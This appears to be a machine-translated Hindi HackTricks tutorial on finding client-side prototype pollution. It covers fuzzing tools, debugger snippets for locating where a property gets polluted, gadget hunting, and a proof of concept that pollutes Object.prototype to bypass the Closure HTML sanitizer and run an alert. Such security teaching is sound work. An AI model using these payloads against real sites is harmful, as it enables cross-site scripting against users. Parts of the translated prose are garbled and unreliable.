Client Side Prototype Pollution

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

स्वचालित उपकरणों का उपयोग करके खोजना

उपकरण https://github.com/dwisiswant0/ppfuzz, https://github.com/kleiton0x00/ppmap और https://github.com/kosmosec/proto-find का उपयोग किया जा सकता है प्रोटोटाइप पोल्यूशन वंशांकन की खोज के लिए।

इसके अतिरिक्त, आप ब्राउज़र एक्सटेंशन PPScan का उपयोग करके स्वचालित रूप से प्रोटोटाइप पोल्यूशन वंशांकन की जांच कर सकते हैं जिन पृष्ठों तक आप पहुंचते हैं।

जांचें कि एक गुण का उपयोग कहाँ हो रहा है

// Stop debugger where 'potentialGadget' property is accessed
Object.defineProperty(Object.prototype,'potentialGadget', {__proto__:null, get(){
console.trace();
return 'test';
}})

प्रोटोटाइप पोल्यूशन के मूल कारण का पता लगाना

जब किसी भी टूल द्वारा प्रोटोटाइप पोल्यूशन की एक वंशजता खोजी जाती है, और यदि कोड अत्यधिक जटिल नहीं है, तो आप location.hash, decodeURIComponent, या location.search जैसे कीवर्ड खोजकर Chrome Developer Tools में विकल्पित खंड को पहचान सकते हैं। यह दृष्टिकोण आपको जावास्क्रिप्ट कोड के वंशजता पोल्यूशन के वंशजता खोजने में मदद करता है।

अधिक और अधिक जटिल कोडबेस के लिए, एक सीधा तरीका वंशजता कोड की खोज करने के लिए निम्नलिखित चरणों को शामिल करता है:

  1. एक टूल का उपयोग करके एक वंशजता की वंशजता को सेट करने के लिए डिज़ाइन किया गया पेलोड खोजने और प्राप्त करने के लिए। ppmap द्वारा प्रदान किया गया एक उदाहरण इस प्रकार हो सकता है: constructor[prototype][ppmap]=reserved

  2. पृष्ठ पर जावास्क्रिप्ट कोड की पहली पंक्ति पर एक ब्रेकपॉइंट सेट करें जो निष्पादित होगी। पेज को पेलोड के साथ रिफ्रेश करें, इस ब्रेकपॉइंट पर निष्पादन को रोकते हुए।

  3. जब जावास्क्रिप्ट निष्पादन किया जा रहा है, तो JS कंसोल में निम्नलिखित स्क्रिप्ट को निष्पादित करें। यह स्क्रिप्ट संकेत करेगा जब 'ppmap' गुण सिर्जित होगा, जिससे इसकी मूल स्थान का पता लगाने में मदद मिलेगी:

function debugAccess(obj, prop, debugGet=true){

var origValue = obj[prop];

Object.defineProperty(obj, prop, {
get: function () {
if (debugGet)
debugger;
return origValue;
},
set: function(val) {
debugger;
origValue = val;
}
});

};

debugAccess(Object.prototype, 'ppmap')
  1. स्रोत टैब पर जाएं और "स्क्रिप्ट क्रियान्वयन आगे बढ़ाएं" का चयन करें। जावास्क्रिप्ट क्रियान्वयन जारी रहेगा, और 'ppmap' गुण प्रत्याशित रूप से प्रदूषित हो जाएगा। प्रदान किए गए स्निपेट का उपयोग करके 'ppmap' गुण को प्रदूषित होने की सटीक स्थान की पहचान करना सुविधाजनक होगा। कॉल स्टैक की जांच करके प्रदूषण के घटना स्थान को विभिन्न स्टैक्स में देखा जा सकता है।

प्रदूषण के स्थान का निर्धारण करते समय, जावास्क्रिप्ट लाइब्रेरी फ़ाइलों से जुड़े स्टैक्स को लक्ष्य बनाना उपयोगी होता है, क्योंकि प्रोटोटाइप प्रदूषण अक्सर इन लाइब्रेरियों के भीतर होता है। लाइब्रेरी फ़ाइलों से जुड़े स्टैक की पहचान करके संबंधित स्टैक की पहचान करें (जो दाएं ओर दिखाई देती है, मार्गदर्शन के लिए एक छवि की तरह)। जैसे कि लाइन 4 और 6 पर कई स्टैक्स होने वाले स्थितियों में, तो लॉजिकल चयन लाइन 4 पर स्थित स्टैक है, क्योंकि यह प्रदूषण की प्रारंभिक घटना का प्रतिनिधित्व करता है और इसलिए संकट के मूल कारण को। स्टैक पर क्लिक करने से आपको वंशवादित कोड पर निर्देशित किया जाएगा।

https://miro.medium.com/max/1400/1*S8NBOl1a7f1zhJxlh-6g4w.jpeg

स्क्रिप्ट गैजेट्स खोजना

गैजेट वह कोड है जिसे एक PP भ्रांति का पता लगाने के बाद दुरुपयोग किया जाएगा

यदि एप्लिकेशन सरल है, हम कीवर्ड जैसे srcdoc/innerHTML/iframe/createElement की खोज कर सकते हैं और स्रोत कोड की समीक्षा कर सकते हैं और देख सकते हैं कि क्या यह जावास्क्रिप्ट क्रियान्वयन तक पहुंचता है। कभी-कभी, उल्लिखित तकनीकों से गैजेट्स का पता नहीं चलता है। उस मामले में, निरपेक्ष स्रोत कोड समीक्षा से कुछ अच्छे गैजेट्स प्रकट होते हैं जैसे नीचे दिए गए उदाहरण में।

उदाहरण Mithil लाइब्रेरी कोड में PP गैजेट खोजना

इस लेख की जांच करें: https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/

विकल्पी लाइब्रेरियों के लिए प्रदूषित पेलोड का पुनर्संयोजन

PP के माध्यम से HTML सैनिटाइजर्स को उमके से छलना

यह शोध दिखाता है कि कुछ HTML सैनिटाइजर्स लाइब्रेरियों द्वारा प्रदान की गई सैनिटेशन को छलने के लिए PP गैजेट्स का उपयोग करने के लिए:

  • sanitize-html

  • dompurify

  • Closure

<!-- from https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/ -->
<script>
Object.prototype['* ONERROR'] = 1;
Object.prototype['* SRC'] = 1;
</script>
<script src=https://google.github.io/closure-library/source/closure/goog/base.js></script>
<script>
goog.require('goog.html.sanitizer.HtmlSanitizer');
goog.require('goog.dom');
</script>
<body>
<script>
const html = '<img src onerror=alert(1)>';
const sanitizer = new goog.html.sanitizer.HtmlSanitizer();
const sanitized = sanitizer.sanitize(html);
const node = goog.dom.safeHtmlToNode(sanitized);

document.body.append(node);
</script>

संदर्भ

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated